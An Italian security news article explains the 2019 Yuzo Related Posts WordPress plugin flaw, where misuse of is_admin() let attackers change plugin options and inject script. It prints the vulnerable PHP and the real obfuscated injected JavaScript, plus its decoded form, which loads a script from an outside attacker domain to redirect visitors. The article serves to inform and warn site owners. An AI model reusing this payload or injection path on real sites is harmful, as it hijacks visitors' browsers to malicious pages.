Decisamente una brutta settimana per Lenin Zapata, autore del noto plugin Yuzo Related Post per WordPress. Il plugin, installato su oltre 60.000 siti web, è stato rimosso dalla directory dei plug-in di WordPress.org il 30 marzo 2019 a seguito della divulgazione pubblica di una vulnerabilità presente all'interno del codice. La vulnerabilità, ad oggi ancora priva di patch, consente all'attacker di inserire uno script all'interno delle pagine dei siti web che hanno il plugin installato mediante una tecnica nota come Cross-Site Scripting (XSS).
La vulnerabilità presente nel plugin è frutto di un utilizzo improprio della funzione is_admin(), che ha il preciso scopo di verificare se la URL a cui si accede si trova nella sezione di amministrazione ma che viene erroneamente utilizzata da molti sviluppatori di plugin WordPress per controllare se l'utente corrente dispone o meno di privilegi amministrativi. Un "fraintendimento" tutt'altro che banale, al punto che il WordPress Codex ravvisa in modo esplicito la necessità di astenersi da questo utilizzo errato:
This Conditional Tag checks if the Dashboard or the administration panel is attempting to be displayed. It is a boolean function that will return true if the URL being accessed is in the admin section, or false for a front-end page. This function does not verify whether the current user has permission to view the Dashboard or the administration panel. Use current_user_can() instead.
Di seguito il punto di codice sorgente incriminato, presente nel file assets/ilenframework/core.php e comune a tutte le versioni più recenti del plugin:
1 2 3 4 5 6 7 |
function __construct(){ if( ! is_admin() ){ // only front-end self::set_main_variable(); return; } elseif( is_admin() ){ // only admin // set default if not exists self::_ini_(); |
Come si può vedere, il codice consente la chiamata a self::ini() a tutte le request dirette verso una pagina di amministrazione, incluse le varie /wp-admin/options-general.php e /wp-admin/admin-post.php, che consente all'attacker di inoculare una request di tipo POST e, di conseguenza, modificare arbitrariamente le opzioni del plugin sfruttando una chiamata alla funzione self::save_options() presente più avanti nel codice. Tra le varie opzioni del plugin che è possibile modificare in questo modo vi è anche la yuzo_related_post_css_and_style, che consente di inserire codice HTML personalizzato all'interno della pagina: il posto perfetto per inserire un Cross-Site Script al fine effettuare una serie di azioni non autorizzate, tra cui il redirect verso un altro sito.
Come è ormai noto, la scelta dell'attacker è stata stata proprio quella, provocando un redirect coatto di tutti i siti oggetto dell'attacco prima sul dominio hellofromhony.org, dove era ospitato lo script, e successivamente su siti non sicuri come silken.ru.
Questo il codice JavaScript inoculato all'interno dell'opzione yuzo_related_post_css_and_style:
1 |
<script language=javascript>eval(String.fromCharCode(118, 97, 114, 32, 100, 100, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 49, 53, 44, 32, 57, 57, 44, 32, 49, 49, 52, 44, 32, 49, 48, 53, 44, 32, 49, 49, 50, 44, 32, 49, 49, 54, 41, 59, 118, 97, 114, 32, 101, 108, 101, 109, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 100, 100, 41, 59, 32, 118, 97, 114, 32, 104, 104, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 52, 44, 32, 49, 48, 49, 44, 32, 57, 55, 44, 32, 49, 48, 48, 41, 59, 118, 97, 114, 32, 122, 122, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 49, 54, 44, 32, 49, 48, 49, 44, 32, 49, 50, 48, 44, 32, 49, 49, 54, 44, 32, 52, 55, 44, 32, 49, 48, 54, 44, 32, 57, 55, 44, 32, 49, 49, 56, 44, 32, 57, 55, 44, 32, 49, 49, 53, 44, 32, 57, 57, 44, 32, 49, 49, 52, 44, 32, 49, 48, 53, 44, 32, 49, 49, 50, 44, 32, 49, 49, 54, 41, 59, 101, 108, 101, 109, 46, 116, 121, 112, 101, 32, 61, 32, 122, 122, 59, 32, 101, 108, 101, 109, 46, 97, 115, 121, 110, 99, 32, 61, 32, 116, 114, 117, 101, 59, 101, 108, 101, 109, 46, 115, 114, 99, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 49, 48, 52, 44, 32, 49, 48, 49, 44, 32, 49, 48, 56, 44, 32, 49, 48, 56, 44, 32, 49, 49, 49, 44, 32, 49, 48, 50, 44, 32, 49, 49, 52, 44, 32, 49, 49, 49, 44, 32, 49, 48, 57, 44, 32, 49, 48, 52, 44, 32, 49, 49, 49, 44, 32, 49, 49, 48, 44, 32, 49, 50, 49, 44, 32, 52, 54, 44, 32, 49, 49, 49, 44, 32, 49, 49, 52, 44, 32, 49, 48, 51, 44, 32, 52, 55, 44, 32, 57, 57, 44, 32, 49, 49, 49, 44, 32, 49, 49, 55, 44, 32, 49, 49, 48, 44, 32, 49, 49, 54, 44, 32, 49, 48, 49, 44, 32, 49, 49, 52, 41, 59, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 104, 104, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 101, 108, 101, 109, 41, 59));</script> |
Lo script malevolo si compone di una singola istruzione eval(), una funzione tipicamente utilizzata per eseguire codice JavaScript "offuscato" sotto forma di una stringa codificata. Il codice, una volta decodificato, si può leggere in questo modo:
1 2 3 4 5 6 7 |
<script language=javascript> var elem = document.createElement('script'); elem.type = 'text/javascript'; elem.async = true; elem.src = 'https://hellofromhony.org/counter'; document.getElementsByTagName('head')[0].appendChild(elem); </script> |
Come si può vedere, si tratta di un banale (ma tutt'altro che innocuo) script di redirect, che consente all'attacker di "dirottare" il browser di ciascun visitatore su una pagina web a sua scelta.
Un grazie a Wordfence.com, il sito ufficiale dell'ottimo plugin di sicurezza per WordPress Wordfence Security, per aver pubblicato la notizia, mettendo così in guardia l'intera comunità WordPress su una delle minacce più rilevanti degli ultimi tempi.